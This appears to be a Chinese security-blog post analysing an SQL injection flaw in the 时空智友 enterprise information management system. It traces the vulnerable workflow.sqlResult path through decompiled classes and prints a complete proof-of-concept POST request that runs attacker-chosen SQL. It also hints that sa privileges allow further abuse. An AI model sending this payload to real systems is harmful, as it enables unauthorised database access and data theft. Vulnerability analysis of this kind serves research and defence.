免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
这个洞poc已经公开一个月了,我也是在第一时间拿到了源码,并对漏洞做了分析。首先查看web.xml中注册的servlet,漏洞存在于com.artery.form.FormService中。
反编译jar包后查看com.artery.form.FormService类
在init方法中,得知系统会从plugins.xml读取参数,然后反射调用,从plugins.xml中得知漏洞点触发位置在workflow模块,对应的类在com.artery.workflow.WorkflowRunner中。
跟踪到com.artery.workflow.ServiceImpl#sqlResult方法
DBUtil.getFieldValue(sql, map);会执行sql参数传入的sql语句造成漏洞
POST /formservice?service=workflow.sqlResult HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 50
{"params": {"a": "1"}, "sql": "select db_name()"}
至于sa权限的sql执行,能干啥不用我多说了吧。
后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧
原文始发于微信公众号(Lambda小队):时空智友企业信息管理系统 sql注入漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论